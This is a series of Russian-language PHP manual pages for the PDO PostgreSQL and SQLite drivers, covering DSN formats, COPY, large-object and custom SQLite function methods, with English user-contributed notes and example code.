rtroy at sciencetools dot com 14-Nov-2021 10:20
On Fedora, install the PostgreSql PDO with yum or dnf:

   $ dnf install php-pgsql php-pdo_pgsql


Соединение с базой данных PostgreSQL

  • « PostgreSQL (PDO)
  • PDO::pgsqlCopyFromArray »
  • PHP Manual
  • PostgreSQL (PDO)
  • Соединение с базой данных PostgreSQL

PDO_PGSQL DSN

(PHP 5 >= 5.1.0, PHP 7, PECL PDO_PGSQL >= 0.1.0)

PDO_PGSQL DSN — Соединение с базой данных PostgreSQL

Описание

Строка подключения (Data Source Name или DSN) PDO_PGSQL состоит из следующих элементов, разделённых пробелом либо точкой с запятой:

Префикс DSN

pgsql:.

host

Имя хоста, на котором расположена база данных.

port

Порт, на котором эта база данных ждёт подключения.

dbname

Имя базы данных.

user

Имя пользователя для соединения. Если вы зададите имя пользователя в DSN, PDO проигнорирует значение, переданное в качестве параметра конструктору.

password

Пароль пользователя для соединения. Если вы зададите пароль в DSN, PDO проигнорирует значение, переданное в качестве параметра конструктору.

sslmode

Режим SSL. Поддерживаемые значения и их описание перечислены в » документации PostgreSQL.

Замечание: Все точки с запятой в строке DSN заменяются пробелами, потому что PostgreSQL ожидает такой формат. Это означает, что точки с запятой в любом из компонентов (например, password or dbname) не поддерживаются.

Примеры

Пример #1 Примеры PDO_PGSQL DSN

Следующий пример демонстрирует строку подключения к базе PostgreSQL:

pgsql:host=localhost;port=5432;dbname=testdb;user=bruce;password=mypass

Следующий пример демонстрирует PDO_PGSQL DSN для подключения к базе данных PostgreSQL с помощью unix сокета /tmp/.s.PGSQL.5432:

pgsql:host=/tmp;port=5432;dbname=testdb;user=bruce;password=mypass

User Contributed Notes

There are no user contributed notes for this page.


Копировать массив PHP в таблицу

  • « PDO_PGSQL DSN
  • PDO::pgsqlCopyFromFile »
  • PHP Manual
  • PostgreSQL (PDO)
  • Копировать массив PHP в таблицу

PDO::pgsqlCopyFromArray

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyFromArray — Копировать массив PHP в таблицу

Описание

public PDO::pgsqlCopyFromArray(
string $table_name,
array $rows,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): bool

Копирует данные из массива rows в таблицу table_name с использованием разделителя полей delimiter и списка полей fields

Список параметров

table_name

Строка с именем таблицы

rows

Массив строк с полями, разделёнными delimiter

delimiter

Разделитель, используемый в массиве rows

null_as

Как интерпретировать значения NULL

fields

Список полей для вставки

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Anonymous 09-Sep-2015 04:05
If your $nullAs is '\\N', then you should use $nullAs as is in concatenation of cells of $rows, but send to pgsqlCopyFromArray() escaped version. Also fifth arg $fields should be a SQL-valid string for the column_names placeholder in COPY statement of PostgreSQL.

I provide my smart wrapper for pgsqlCopyFromArray() which do this automatically.

<?php
/**
 *
 * @param PDO $db
 * @param string $tableName
 * @param string[] $fields List of fields names.
 * @param array[] $records Two-demension array of cells (array of rows).
 * @return boolean
 */
function pgInsertByCopy (PDO $db, $tableName, array $fields, array $records) {
    static $delimiter = "\t", $nullAs = '\\N';

    $rows = [];

    foreach ($records as $record) {
        $record = array_map(
                function  ($field) use( $record, $delimiter, $nullAs) {
                    $value = array_key_exists($field, $record) ? $record[$field] : null;

                    if (is_null($value)) {
                        $value = $nullAs;
                    } elseif (is_bool($value)) {
                        $value = $value ? 't' : 'f';
                    }

                    $value = str_replace($delimiter, ' ', $value);
                    // Convert multiline text to one line.
                    $value = addcslashes($value, "\0..\37");

                    return $value;
                }, $fields);
        $rows[] = implode($delimiter, $record) . "\n";
    }

    return $db->pgsqlCopyFromArray($tableName, $rows, $delimiter, addslashes($nullAs), implode(',', $fields));
}
?>


Скопировать данные из файла в таблицу

  • « PDO::pgsqlCopyFromArray
  • PDO::pgsqlCopyToArray »
  • PHP Manual
  • PostgreSQL (PDO)
  • Скопировать данные из файла в таблицу

PDO::pgsqlCopyFromFile

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyFromFile — Скопировать данные из файла в таблицу

Описание

public PDO::pgsqlCopyFromFile(
string $table_name,
string $filename,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): bool

Копирует строки из файла filename в таблицу table_name используя разделитель полей delimiter и список полей fields

Список параметров

table_name

Строка с именем таблицы

filename

Имя файла с данными

delimiter

Разделитель полей, используемый в filename

null_as

Как интерпретировать значения NULL

fields

Список полей для вставки

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выгрузить данные из таблицы в массив PHP

  • « PDO::pgsqlCopyFromFile
  • PDO::pgsqlCopyToFile »
  • PHP Manual
  • PostgreSQL (PDO)
  • Выгрузить данные из таблицы в массив PHP

PDO::pgsqlCopyToArray

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyToArray — Выгрузить данные из таблицы в массив PHP

Описание

public PDO::pgsqlCopyToArray(
string $table_name,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): array|false

Выгружает данные из таблицы table в массив, используя разделитель delimiter и список полей fields

Список параметров

table_name

Строка с именем таблицы

delimiter

Разделитель полей

null_as

Как интерпретировать значения NULL

fields

Список полей для вставки

Возвращаемые значения

Возвращает массив строк или false в случае возникновения ошибки.

User Contributed Notes

Hayley Watson 06-Sep-2018 04:23
The "rows" returned are strings, (hence the delimiter parameters for separating fields). They're not parsed into PHP arrays, so this isn't a substitute for $connection->query('SELECT * FROM table_name')->fetchAll().

Only the first character of $delimiter is used. Characters that may be used are those <32 except "\r", "\n" and NUL (chr(0)); anything from !"#$%&'()*+,-./:;<=>?@ABCDEFGHIJKMOPQRSTVWXYZ[]^_`{|}~, and DEL (chr(127)) (yes, upper-case letters are allowed, but lower-case ones are not).

Also, the $fields argument is a comma-separated list of the desired columns.


Выгрузка таблицы в файл

  • « PDO::pgsqlCopyToArray
  • PDO::pgsqlGetNotify »
  • PHP Manual
  • PostgreSQL (PDO)
  • Выгрузка таблицы в файл

PDO::pgsqlCopyToFile

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyToFile — Выгрузка таблицы в файл

Описание

public PDO::pgsqlCopyToFile(
string $table_name,
string $filename,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): bool

Выгружает данные в файл filename используя разделитель полей delimiter и список полей fields

Список параметров

table_name

Строка с именем таблицы

filename

Имя файла

delimiter

Разделитель полей, используемый в filename

null_as

Как интерпретировать значения NULL

fields

Список полей для вставки

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить асинхронное уведомление

  • « PDO::pgsqlCopyToFile
  • PDO::pgsqlGetPid »
  • PHP Manual
  • PostgreSQL (PDO)
  • Получить асинхронное уведомление

PDO::pgsqlGetNotify

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

PDO::pgsqlGetNotify — Получить асинхронное уведомление

Описание

public PDO::pgsqlGetNotify(int $result_type = PDO::FETCH_USE_DEFAULT, int $ms_timeout = 0): array|false

Возвращает результирующий набор, представляющий ожидание асинхронного уведомления.

Список параметров

result_type

Формат, в котором должен вернуться результирующий набор, представленный как одна из констант PDO::FETCH_*.

ms_timeout

Время ожидания ответа в миллисекундах.

Возвращаемые значения

Если одно или больше уведомлений находятся в режиме ожидания, возвращает одну строку с полями message и pid, иначе возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Получает PID сервера

  • « PDO::pgsqlGetNotify
  • PDO::pgsqlLOBCreate »
  • PHP Manual
  • PostgreSQL (PDO)
  • Получает PID сервера

PDO::pgsqlGetPid

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

PDO::pgsqlGetPid — Получает PID сервера

Описание

public PDO::pgsqlGetPid(): int

Возвращает PID сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

PID сервера.

User Contributed Notes

There are no user contributed notes for this page.


Создать новый большой объект (LOB)

  • « PDO::pgsqlGetPid
  • PDO::pgsqlLOBOpen »
  • PHP Manual
  • PostgreSQL (PDO)
  • Создать новый большой объект (LOB)

PDO::pgsqlLOBCreate

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBCreate — Создать новый большой объект (LOB)

Описание

public PDO::pgsqlLOBCreate(): string

Функция PDO::pgsqlLOBCreate() создаёт большой объект (LOB) и возвращает его OID. Вы можете открыть поток для чтения или изменения объекта, используя функцию PDO::pgsqlLOBOpen(). OID можно сохранить в столбце типа OID и использовать как ссылку на LOB не вызывая неконтролируемого увеличения размера строк. LOB будет жить в базе данных пока не будет удалён с помощью функции PDO::pgsqlLOBUnlink().

Большие объекты могут быть до 2ГБ размером, но они очень громоздкие. Вы должны убедиться, что выполнили PDO::pgsqlLOBUnlink() до того, как удалите последнюю строку в вашей БД, которая ссылается на его OID. К тому же, большие объекты не имеют контроля доступа. В качестве альтернативы попробуйте использовать тип данных bytea. Последние версии PostgreSQL разрешают столбцы типа bytea до 1ГБ размером и прозрачно управляют табличным пространством для оптимизации длины строк.

Замечание: Эту функцию необходимо выполнять в транзакции.

Список параметров

PDO::pgsqlLOBCreate() не принимает параметров.

Возвращаемые значения

Возвращает OID созданного объекта или false.

Примеры

Пример #1 Пример использования PDO::pgsqlLOBCreate()

В этом примере создаётся LOB и наполняется данными из файла. После этого его OID сохраняется в таблице.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$oid = $db->pgsqlLOBCreate();
$stream = $db->pgsqlLOBOpen($oid, 'w');
$local = fopen($filename, 'rb');
stream_copy_to_stream($local, $stream);
$local = null;
$stream = null;
$stmt = $db->prepare("INSERT INTO BLOBS (ident, oid) VALUES (?, ?)");
$stmt->execute(array($some_id, $oid));
$db->commit();
?>

Смотрите также

  • PDO::pgsqlLOBOpen() - Открывает поток для существующего большого объекта
  • PDO::pgsqlLOBUnlink() - Удалить большой объект
  • pg_lo_create() - Создаёт большой объект

User Contributed Notes

Hayley Watson 02-Aug-2018 09:52
If you're not plausibly going to be storing more than 1GB of binary data in a single field, you might as well use the normal bytea type instead of LOBbing it.

They won't bloat the table as PostgreSQL would store the larger byte streams outside the table anyway (as Large Object storage does, only transparently) - including compressing them if it helps - while retaining all the binary string functions and operators.
mauroi at digbang dot com 03-Apr-2006 09:38
IMHO, there's a better way to handle the deletion of lob objects than the suggested here. The programmer can easily forget to unlink the lob. With the following trigger, no programmer actions are required.
By the way, one problem with bytea fields is that when you query the database, if you ask for that field, the data is actually retrieved. When you query for and oid, only the oid is retrieved and then you can open the lob whenever you want (if it's required).

CREATE OR REPLACE FUNCTION oidtable_after_update_delete()
  RETURNS "trigger" AS
$BODY$
BEGIN
     IF (TG_OP = 'UPDATE') THEN
        IF (OLD.oidfield = NEW.oidfield) OR (OLD.oidfield IS NULL) THEN
           RETURN NEW;
        END IF;
     END IF;
     IF (EXISTS (SELECT 1 FROM pg_largeobject WHERE loid = OLD.oidfield)) THEN
        PERFORM LO_UNLINK (OLD.oidfield);
     END IF;
     RETURN NEW;
END;
$BODY$
  LANGUAGE 'plpgsql' VOLATILE;

CREATE TRIGGER oidtable_after_update_delete
  AFTER UPDATE OR DELETE
  ON oidtable
  FOR EACH ROW
  EXECUTE PROCEDURE oidtable_after_update_delete();


Открывает поток для существующего большого объекта

  • « PDO::pgsqlLOBCreate
  • PDO::pgsqlLOBUnlink »
  • PHP Manual
  • PostgreSQL (PDO)
  • Открывает поток для существующего большого объекта

PDO::pgsqlLOBOpen

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBOpen — Открывает поток для существующего большого объекта

Описание

public PDO::pgsqlLOBOpen(string $oid, string $mode = "rb"): resource|false

Функция PDO::pgsqlLOBOpen() открывает поток к большому объекту (LOB) заданному с помощью oid. Если mode задан как r, поток открывается для чтения. Если mode задан как w, то для записи. Для манипуляции с потоком вы можете использовать обычные файловые функции, такие как fread(), fwrite() и fgets().

Замечание: Эта функция и все манипуляции с LOB должны совершаться в транзакции.

Список параметров

oid

Идентификатор большого объекта.

mode

Если r, то поток открывается на чтение. Если w, то поток открывается на запись.

Возвращаемые значения

Возвращает ресурс потока в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования PDO::pgsqlLOBOpen()

Продолжая пример из описания PDO::pgsqlLOBCreate(), этот код извлекает LOB из БД и выводит его в браузер.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("select oid from BLOBS where ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $oid, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $db->pgsqlLOBOpen($oid, 'r');
header("Content-type: application/octet-stream");
fpassthru($stream);
?>

Смотрите также

  • PDO::pgsqlLOBCreate() - Создать новый большой объект (LOB)
  • PDO::pgsqlLOBUnlink() - Удалить большой объект
  • pg_lo_open() - Открывает большой объект базы данных

User Contributed Notes

binaryexp at gmail 05-Mar-2009 04:54
This is what worked for me. If you have the oid, then all you need to do is:

<?php
$pdo = new PDO($dsn, $user, $pass);
$pdo->beginTransaction();
$data = $pdo->pgsqlLOBOpen($oid, 'r');

header("Content-Type: $mime");
// any other headers...

fpassthru($data);  // echo stream_get_contents($data); also works
?>

The beginTransaction() is required, if you want to $pdo->commit() (it's not required) then do it after the fpassthru.

On a side note, those using Zend Framework can call getConnection() on the standard PDO database object which will get them the $pdo object as above. Then just remember to disableLayout() and setNoRender() as necessary.
knl at bitflop dot com 25-Sep-2008 05:54
Also remember that fread() will only parse the first 8192 bytes from the stream. Use..

<?php
$data = stream_get_contents($stream);
?>

.. if you have a larger output to parse.
knl at bitflop dot com 25-Sep-2008 03:20
The above example is missing some data. After spending several hours trying to get it to work in vain, Jeff Davis from the PostgreSQL channel on IRC (freenode) figured out what was missing.

The below example will work, but you have to insert the MIME type and file size of the large object that you are storing, so you can use that data for extraction.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("SELECT oid, blob_type, filesize FROM BLOBS WHERE ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $lob, PDO::PARAM_LOB);
$stmt->bindColumn('blob_type', $blob_type, PDO::PARAM_STR);
$stmt->bindColumn('filesize', $filesize, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $pdo->pgsqlLOBOpen($lob, 'r');
$data = fread($stream, $filesize);
header("Content-type: $blob_type");
echo $data;
?>

Also fpassthru() will just give this result: Warning: fpassthru(): supplied argument is not a valid stream resource in ...

Use echo or print instead.


Удалить большой объект

  • « PDO::pgsqlLOBOpen
  • SQLite (PDO) »
  • PHP Manual
  • PostgreSQL (PDO)
  • Удалить большой объект

PDO::pgsqlLOBUnlink

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBUnlink — Удалить большой объект

Описание

public PDO::pgsqlLOBUnlink(string $oid): bool

Удаляет большой объект (LOB) из БД по его OID.

Замечание: Эту функция необходимо выполнять в транзакции.

Список параметров

oid

Идентификатор LOB

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования PDO::pgsqlLOBUnlink()

В этом примере мы удаляем большой объект из БД до того, как удалим ссылающиеся на него строки из таблицы, хранящей информацию о больших объектах, которую мы использовали в примерах для функций PDO::pgsqlLOBCreate() и PDO::pgsqlLOBOpen().

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$db->pgsqlLOBUnlink($oid);
$stmt = $db->prepare("DELETE FROM BLOBS where ident = ?");
$stmt->execute(array($some_id));
$db->commit();
?>

Смотрите также

  • PDO::pgsqlLOBOpen() - Открывает поток для существующего большого объекта
  • PDO::pgsqlLOBCreate() - Создать новый большой объект (LOB)

User Contributed Notes

There are no user contributed notes for this page.


Функции SQLite (PDO_SQLITE)

Введение

PDO_SQLITE — это драйвер, который реализует интерфейс Data Objects (PDO) для обеспечения доступа к базам данных SQLite 3.

Замечание:

PDO_SQLITE позволяет использовать строки помимо потоков вместе с PDO::PARAM_LOB.

Установка

Драйвер PDO_SQLITE PDO доступен по умолчанию. Для отключения используйте --without-pdo-sqlite[=DIR], где [=DIR] - директория, куда установлен sqlite. Начиная с PHP 7.4.0 требуется библиотека » libsqlite версии 3.5.0 или новее. Ранее встроенный из коробки libsqlite мог использовался вместо этого, и был значением по умолчанию, если опция [=DIR] не задана.

Замечание: Дополнительная настройка на Windows с PHP 7.4.0

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: libsqlite3.dll.

Содержание

  • PDO_SQLITE DSN — Соединение с базой данных SQLite
  • PDO::sqliteCreateAggregate — Регистрация агрегирующей пользовательской функции для использования в SQL-запросах
  • PDO::sqliteCreateCollation — Регистрация пользовательской функции сортировки для использования в SQL-запросах
  • PDO::sqliteCreateFunction — Регистрация пользовательской функции для использования в SQL-запросах

User Contributed Notes

ohcc at 163 dot com 04-Sep-2020 03:19
With PDO SQLite driver, calculation within an SQL with multiple ? may not get results as you expect.

<?php
// ....
$stmt = $PDO->prepare('SELECT * FROM `X` WHERE `TimeUpdated`+?>?');
$stmt->execute([3600, time()]);
$data = $stmt->fetchAll();
print_r($data);
?>

To get the right results, you have more than 3 solutions.

1. Change 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?' to 'SELECT * FROM `X` WHERE `TimeUpdated`>?' and do the math using Php (ie: $stmt->execute([time()-3600]); ).

2. Use PdoStatement::bindParam or PdoStatement::bindValue, and set the parameter type to PDO::PARAM_INT.

3. Change 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?' to 'SELECT * FROM `X` WHERE `TimeUpdated`+?>?+0', here '?+0' may be replaced by another math function or another calculation, such as 'abs(?)', you can even wrap both ? with a math calculation.
nospam8715 at dririan dot com 10-Nov-2012 09:22
Instead of compiling an old version of SQLite to create a database using an older database format that the version of SQLite bundled with PDO can handle, you can (much more easily) just run the query "PRAGMA legacy_file_format = TRUE;" BEFORE creating the database (if you have an existing database, run ".dump" from the sqlite shell on your database, run the sqlite shell on a new database, run the PRAGMA, then paste the contents of the .dump). That will ensure SQLite creates a database readable by SQLite 3.0 and later.
Duffalo 06-Jul-2006 04:41
Note that as of the date of this post, PDO_SQLITE will not interact with database files created with the current version of the SQLite console application, sqlite-3.3.6.

It is currently necessary to obtain version 3.2.8, available from http://www.sqlite.org/ but only by entering the URI manually, as there is no link. Go to http://www.sqlite.org/download.html and find the URI of the version you're looking for, then make the appropriate version number substitution.
aidan at php dot net 01-Oct-2005 02:36
If you receive an error while trying to write to a sqlite database (update, delete, drop):

Warning: PDO::query() [function.query]: SQLSTATE[HY000]: General error: 1 unable to open database

The folder that houses the database file must be writeable.


Соединение с базой данных SQLite

  • « SQLite (PDO)
  • PDO::sqliteCreateAggregate »
  • PHP Manual
  • SQLite (PDO)
  • Соединение с базой данных SQLite

PDO_SQLITE DSN

(PHP 5 >= 5.1.0, PHP 7, PECL PDO_SQLITE >= 0.2.0)

PDO_SQLITE DSN — Соединение с базой данных SQLite

Описание

Имя источника данных (Data Source Name, DSN) PDO_SQLITE состоит из следующих элементов:

DSN-префикс (SQLite 3)

DSN-префикс - это sqlite:.

  • Для доступа к базе данных на диске, абсолютный путь должен быть добавлен к DSN-префиксу.

  • Для создания базы данных в памяти, :memory: должен быть добавлен к DSN-префиксу.

  • Если DSN состоит только из префикса DSN, используется временная база данных, которая удаляется при закрытии соединения.

Примеры

Пример #1 Пример DSN PDO_SQLITE

В следующем примере показаны DSN PDO_SQLITE для соединения с SQLite:

sqlite:/opt/databases/mydb.sq3
sqlite::memory:
sqlite:

User Contributed Notes

casteele at g-m-a-i-l ( dot ) c-o-m 25-Feb-2016 10:32
Some notes that may or may not be obvious..

In general, when using an in-memory (:memory:) database from within a PHP script (such as code in an index.php file for a web server), the memory used for the database exists only as long as the PHP code is running. Usually, this is only as long as it takes to deliver output back to the web server trying to serve the web page to the client. There is no way (that I know of, please correct me if I'm wrong) to share an in-memory database across different web connections, including different multiple connections from the same client. *This does include "persistent" connections.* The reason for this is because in-memory databases *are* in-memory databases, and the memory allocated by the web server/PHP processor is allocated and released "on the fly". Otherwise, web servers which serve thousands of web pages would quickly consume all available memory (and swap space), and come to a grinding halt when the system no longer has available memory to handle more requests.

If you need to share data across sessions, connections, or scripts, you'll need to use a database file in a folder/directory which is *writable* by the web server/PHP extension, as SQLite3 may use some temporary files while working with the database. (In my Debian Linux installation, this is the "www-data" psuedo-user/group.) (You can consult the SQLite3 documentation if you wish to know what temporary files it uses; They are well-documented.)

In short, it is a _logical_error_ to think of in-memory databases as anything other than very short-term temporary databases. They may be useful if you only wish to work with a subset of a larger database within *a single web page, AND only while the PHP script is generating the web page*. That is, you cannot use in-memory databases to store a user's "shopping cart", for example, because a shopping cart would still need to load many different web pages, invoking many different PHP scripts, each with their own memory space. Likewise, once PHP has generated the output of the web page for the server to send on to the client, PHP is no longer "part of the picture", and any memory it had allocated may be freed for other uses--including your in-memory database.

This is not a limitation of the web server, PHP, or SQLite, but of how operating systems work in general to share limited resources (such as memory) between processes/users/connections/et cetera.
frederic dot glorieux at diple dot net 10-Aug-2011 03:20
In memory sqlite has some limitations. The memory space could be the request, the session, but no way seems documented to share a base in memory among users.

For a request, open your base with the code
$pdo = new PDO( 'sqlite::memory:');
and your base will disapear on next request.

For session persistency
<?php
$pdo = new PDO(
    'sqlite::memory:',
    null,
    null,
    array(PDO::ATTR_PERSISTENT => true)
);
?>
FST777 21-Apr-2008 05:27
@ Fatmoon
That is correct. SQLite sometimes uses additional files in the same folder while writing to the DB. These files can sometimes be seen and usually contain the name of your DB and the word 'journal' in their filename.
Security wise, it might be a good idea to store the SQLite databases in a seperate folder to shield the rest from user www.
Fatmoon 20-Apr-2008 07:42
It seems that the directory that contains your sqlite database must be writeable by the web server. Making just the file writeable won't work.
rick 30-Oct-2006 10:51
Don't forget "extension=php_pdo_sqlite.dll" has to be enabled in php.ini (if you use xampp is will be disabled by default) .


Регистрация агрегирующей пользовательской функции для использования в SQL-запросах

  • « PDO_SQLITE DSN
  • PDO::sqliteCreateCollation »
  • PHP Manual
  • SQLite (PDO)
  • Регистрация агрегирующей пользовательской функции для использования в SQL-запросах

PDO::sqliteCreateAggregate

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateAggregate — Регистрация агрегирующей пользовательской функции для использования в SQL-запросах

Описание

public PDO::sqliteCreateAggregate(
string $function_name,
callable $step_func,
callable $finalize_func,
int $num_args = ?
): bool
Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Этот метод аналогичен PDO::sqliteCreateFunction, за исключением того, что он регистрирует функцию, которую можно использовать для вычисления агрегированного результата по всем строкам в запросе.

Ключевое отличие этого метода от PDO::sqliteCreateFunction в том, что для управление агрегированием требует использование двух функций.

Список параметров

function_name

Имя функции для использовании в запросах.

step_func

Функция обратного вызова для каждой строки в результирующем наборе. Ваша PHP-функция должна аккумулировать результат и сохранять его в контексте агрегации.

Эта функция должна быть определена следующим образом:

step(
mixed $context,
int $rownumber,
mixed $value,
mixed ...$values
): mixed
context

Для первой строки должно равняться null; Для всех последующих строк его значение должно быть равно значению, возвращённому на предыдущем шаге; вы должны использовать его для сохранения состояния агрегации.

rownumber

Номер текущей строки.

value

Первый аргумент переданный агрегатору.

values

Последующие аргументы.

Возвращаемое значение функции будет использовано как параметр context при следующем запуске функции, либо как значение передаваемое финализирующей функции.

finalize_func

Функция обратного вызова для вычисление итогового агрегированного значения. Она будет вызвана как только все строки результирующего набора будут обработаны, ей будет передан агрегирующий контекст и она вернёт финальное значение. Данная функция должна вернуть значение типа понятного SQLite (т.е. скалярный тип).

Эта функция должна быть определена следующим образом:

fini(mixed $context, int $rowcount): mixed
context

Содержит значение, возвращённое самым последним вызовом агрегирующей функции step_func.

rowcount

Количество строк, к которым применялась агрегирующая функция.

Возвращаемое значение этой функции будет использовано как результат агрегации.

num_args

Подсказка для парсера SQLite, если функция обратного вызова получает заданное количество аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример агрегирующей функции max_length

<?php
$data = array(
'one',
'two',
'three',
'four',
'five',
'six',
'seven',
'eight',
'nine',
'ten',
);
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
$insert->execute(array($str));
}
$insert = null;

function max_len_step($context, $rownumber, $string)
{
if (strlen($string) > $context) {
$context = strlen($string);
}
return $context;
}

function max_len_finalize($context, $rowcount)
{
return $context === null ? 0 : $context;
}

$db->sqliteCreateAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->query('SELECT max_len(a) from strings')->fetchAll());

?>

В этом примере мы создали агрегирующую функцию, которая вычисляет длину самой большой строки в одном из столбцов таблицы. Для каждой строки, вызывается функция max_len_step и ей передаётся параметр $context. Этот параметр, как и любая другая переменная PHP может содержать и массив и объект. В данном примере она используется для хранения максимальной длины строки; Если $string имеет длину большую, чем содержится в контексте, мы обновляем контекст новым значением.

После того, как будут обработаны все строки, SQLite вызовет функцию max_len_finalize для вычисления результата агрегации. В ней мы производим вычисления, основываясь на данных из $context. В нашем простом примере мы просто возвращаем его значение, так как никакие дополнительные вычисления не требуются.

Подсказка

КРАЙНЕ НЕ рекомендуется сохранять в контексте копии значений для обработки их в финализирующей функции, так как это повлечёт за собой большой перерасход памяти SQLite для обработки запроса. Просто представьте, сколько памяти вам понадобится, если вам потребуется агрегировать, например, миллион значений по 32 байта.

Подсказка

Вы можете использовать PDO::sqliteCreateFunction и PDO::sqliteCreateAggregate для переопределения стандартных агрегирующих функций SQLite.

Смотрите также

  • PDO::sqliteCreateFunction
  • sqlite_create_function()
  • sqlite_create_aggregate()

User Contributed Notes

There are no user contributed notes for this page.


Регистрация пользовательской функции сортировки для использования в SQL-запросах

  • « PDO::sqliteCreateAggregate
  • PDO::sqliteCreateFunction »
  • PHP Manual
  • SQLite (PDO)
  • Регистрация пользовательской функции сортировки для использования в SQL-запросах

PDO::sqliteCreateCollation

(PHP 5 >= 5.3.11, PHP 7, PHP 8)

PDO::sqliteCreateCollation — Регистрация пользовательской функции сортировки для использования в SQL-запросах

Описание

public PDO::sqliteCreateCollation(string $name, callable $callback): bool
Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Список параметров

name

Имя функции для использовании в запросах.

callback

Имя функции PHP, либо определённая пользователем функция для использования в качестве функции обратного вызова и определяющая поведение при сортировке. Она должна принимать две строки и возвращать -1 или 1, если первая строка должна располагаться до или после второй строки соответственно, либо 0, если порядок не важен.

Эта функция должна быть определена следующим образом:

collation(string $string1, string $string2): int

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования PDO::sqliteCreateCollation()

<?php
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->sqliteCreateCollation('NATURAL_CMP', 'strnatcmp');
foreach ($db->query("SELECT col1 FROM test ORDER BY col1") as $row) {
echo $row['col1'] . "\n";
}
echo "\n";
foreach ($db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP") as $row) {
echo $row['col1'] . "\n";
}
?>

Результат выполнения данного примера:

a1
a10
a2

a1
a2
a10

User Contributed Notes

There are no user contributed notes for this page.


Регистрация пользовательской функции для использования в SQL-запросах

  • « PDO::sqliteCreateCollation
  • Модули для работы с базами данных отдельных производителей »
  • PHP Manual
  • SQLite (PDO)
  • Регистрация пользовательской функции для использования в SQL-запросах

PDO::sqliteCreateFunction

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateFunction — Регистрация пользовательской функции для использования в SQL-запросах

Описание

public PDO::sqliteCreateFunction(
string $function_name,
callable $callback,
int $num_args = -1,
int $flags = 0
): bool
Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Этот метод позволяет вам регистрировать функцию PHP как пользовательскую функцию SQLite (User Defined Function, UDF), что позволит использовать её в SQL-запросах.

